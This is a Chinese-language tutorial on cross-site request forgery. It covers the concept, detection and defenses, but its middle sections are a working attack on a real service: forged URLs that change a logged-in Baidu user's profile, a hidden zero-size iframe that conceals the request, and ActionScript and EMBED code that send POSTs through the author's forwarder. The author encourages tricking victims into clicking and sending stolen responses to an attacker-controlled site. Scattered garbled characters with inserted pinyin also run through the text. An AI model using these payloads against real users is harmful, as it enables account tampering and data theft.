0x01 什么是CSRF攻擊

CSRF是Cross Site Request Forgery的縮寫（也縮寫為XSRF），直譯過來就是跨站請求偽造的意思，也就是在用戶會話下對某個CGI做一些GET/POST的事情——這些事情用戶未必知道和愿意做，你可以把它想做HTTP會話劫持。

網(wǎng)站是通過cookie來識別用戶的，當用戶成功進行身份驗證之后瀏覽器就會得到一個標識其身份的cookie，只要不關(guān)閉瀏覽器或者退出登錄，以后訪問這個網(wǎng)站會帶上這個cookie。如果這期間瀏覽器被人控制著請求了這個網(wǎng)站的url，可能就會執(zhí)行一些用戶不想做的功能（比如修改個人資料）。因為這個不是用戶真正想發(fā)出的請求，這就是所謂的請求偽造；呵呵，因為這些請求也是可以從第三方網(wǎng)站提交的，所以前綴跨站二字。

舉個簡單的例子，某個bbs可以貼圖，在貼圖的URL中寫入退出登陸的鏈接，當用戶閱讀這個帖子之后就會logout了，因為用戶以自己的身份訪問了退出登陸鏈接，在用戶看來是帖子里面有一張有問題的“圖片”，而不是想要退出，但程序就會認為是用戶要求退出登陸而銷毀其會話。這就是傳說中的CSRF攻擊了。

不要小看CSRF哦，記得以前L-Blog就存在一個CSRF漏洞（當時還不知道這個概念:p），它添加管理員是這樣的一個鏈接：http: //localhost/L-Blog/admincp.asp?action=member&type=editmem&memID=2& memType=SupAdmin，我們只要構(gòu)造好ID想辦法讓管理員訪問到這個URL就可以了；還有Google那個CSRF漏洞[1]，將導致郵件泄漏；另外，不要以為只有XSS才能爆發(fā)蠕蟲，只要條件合適，CSRF同樣是有可能的。

0x02 威脅來自哪里

貼圖只是GET的方式，很多時候我們需要偽造POST的請求。一個辦法是利用跨站，當然目標站點可能不存在跨站，這個時候我們可以從第三方網(wǎng)站發(fā)動攻擊。

比如我要攻擊一個存在問題的blog，那就先去目標blog留言，留下一個網(wǎng)址，誘其主人點擊過來（這個就要看你的忽悠本事咯:p），然后構(gòu)造個HTML表單提交些數(shù)據(jù)過去。
多窗口瀏覽器就幫了一點忙。

多窗口瀏覽器（firefox、遨游、MyIE……）便捷的同時也帶來了一些問題，因為多窗口瀏覽器新開的窗口是具有當前所有會話的。即我用IE登陸了我的Blog，然后我想看新聞了，又運行一個IE進程，這個時候兩個IE窗口的會話是彼此獨立的，從看新聞的IE發(fā)送請求到Blog不會有我登錄的 cookie；但是多窗口瀏覽器永遠都只有一個進程，各窗口的會話是通用的，即看新聞的窗口發(fā)請求到Blog是會帶上我在blog登錄的cookie。

想一想，當我們用鼠標在Blog/BBS/WebMail點擊別人留下的鏈接的時候，說不定一場精心準備的CSRF攻擊正等著我們。

0x03 發(fā)起CSRF攻擊

從第三方站點利用POST發(fā)動CSRF攻擊就是利用Javascript自動提交表單到目標CGI。每次都去寫表單不是很方便，輔助進行的工具有XSS POST Forwarder[2]和CSRF Redirector[3]，這里我也寫了相應的ASP版本[4]。使用的時候只要把提交的url和參數(shù)傳給它，它就會自動POST到目標。

比如我要提交一些數(shù)據(jù)到www.0x54.org/a.asp：http: //www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://www.0x54.org/a.asp& a=123&b=321&c=&#%（這里要自己考慮URL編碼哦）
不過實際攻擊的時候你得動動腦子：如何才能把用戶誘騙到我們的網(wǎng)頁來。

0x04 一個實例

因為CSRF不如XSS那么引人注目，所以現(xiàn)在找一個存在CSRF的Web應用程序還是很容易的。這次我們的目標是百度，just for test。
隨便你用什么辦法，讓一個已登陸百度的用戶訪問一下這個URL：http: //www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=請選擇&bs1=請選擇&bs2=無&txt_bs=&birth_site=;;&b=rs0=請選擇&rs1=請選擇&rs2=無&txt_rs=&reside_site=;;
呵呵，然后看看那人個人資料是不是被修改了。這里有點郁悶，當那人訪問URL后瀏覽器會返回到資料修改成功的頁面，我們就被發(fā)現(xiàn)了。那么，有沒有辦法不讓瀏覽器刷新呢？

有。

一個辦法是用iframe，構(gòu)造這樣的HTML代碼：<iframe width=0 height=0 src="http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=請選擇&bs1=請選擇&bs2=無&txt_bs=&birth_site=;;&b=rs0=請選擇&rs1=請選擇&rs2=無&txt_rs=&reside_site=;;"></iframe>
還有一個辦法就是用flash了。

0x05 CSRF With Flash

flash是可以提交數(shù)據(jù)到任意URL的，打開盜版的 Adobe flash CS 3 Professional，新建一個 flash文件(ActionScript 3.0) ，在默認的圖層上點右鍵選動作，然后把以下代碼添加進去：
：

import flash.net.URLRequest;
import flash.system.Security;
var url = new URLRequest("http://www.0x54.org/lake2");
var lake = new URLVariables();
lake = "a=lake2";
url.method = "POST";
url.data = lake;
sendToURL(url);
stop();

導出為swf文件，訪問之，抓包看看效果咯：http://www.0x54.org/lake2/flash/test1.html
每次都去寫as和編譯swf很麻煩的，根據(jù)CSRF Redirector的思路我寫了一個類似的flash程序[5]，再拿百度來試試效果，訪問帶如下HTML的網(wǎng)頁：<EMBED src="http://www.0x54.org/lake2/flash/flash_hacking.swf?f=1&t=http://passport.baidu.com/ucommitbas& d=u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0% 26birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=%C7% 25EB%D1%A1%D4%F1&bs1=%C7%EB%D1%A1%D4%F1&bs2=% 25CE%DE&txt_bs=&birth_site=%3B%3B&b%3Drs0=%C7%EB% 25D1%A1%D4%F1&rs1=%C7%EB%D1%A1%D4%F1&rs2=%CE% 25DE&txt_rs=&reside_site=%3B%3B"></EMBED>（還是要注意URL二次編碼）
這里不要只局限于發(fā)請求，其實flash是可以得到返回內(nèi)容的，要是返回內(nèi)容有敏感信息的話，就可以讀出來發(fā)送到我們控制的Web去。當然，這個得看目標站點是否讓flash跨域取內(nèi)容了。

0x06 檢測CSRF

檢測CSRF漏洞都是體力活了，先抓取一個正常請求的數(shù)據(jù)包，然后去掉referer字段再重新提交，如果還是有效那基本上就存在問題了。當然參數(shù)可能含有不能預測的參數(shù)（比如userid什么的），這個時候就看這個不可預測的參數(shù)能不能通過其他手段比如flash拿到，如果能，呵呵，則還是存在問題。還有就是試著改post為get，因為有些程序是不區(qū)分get/post的。
應用程序的功能和返回形式都各不相同，所以想自動化測試CSRF漏洞還是有點困難的，OWASP上面有一個叫做CSRFTester的工具不妨拿來一試[6]

0x07 防御CSRF

在Web應用程序側(cè)防御CSRF漏洞，一般都是利用referer、token或者驗證碼，Nexus的文章[7]已經(jīng)寫的很全面了；superhei也有提出bypass的思路[8]，請參考他們的文章。

還有一個思路是在客戶端防御，貌似可以做成一個類似HTTP Watch的軟件，掛在瀏覽器上攔截或者過濾跨域的cookie。

最新評論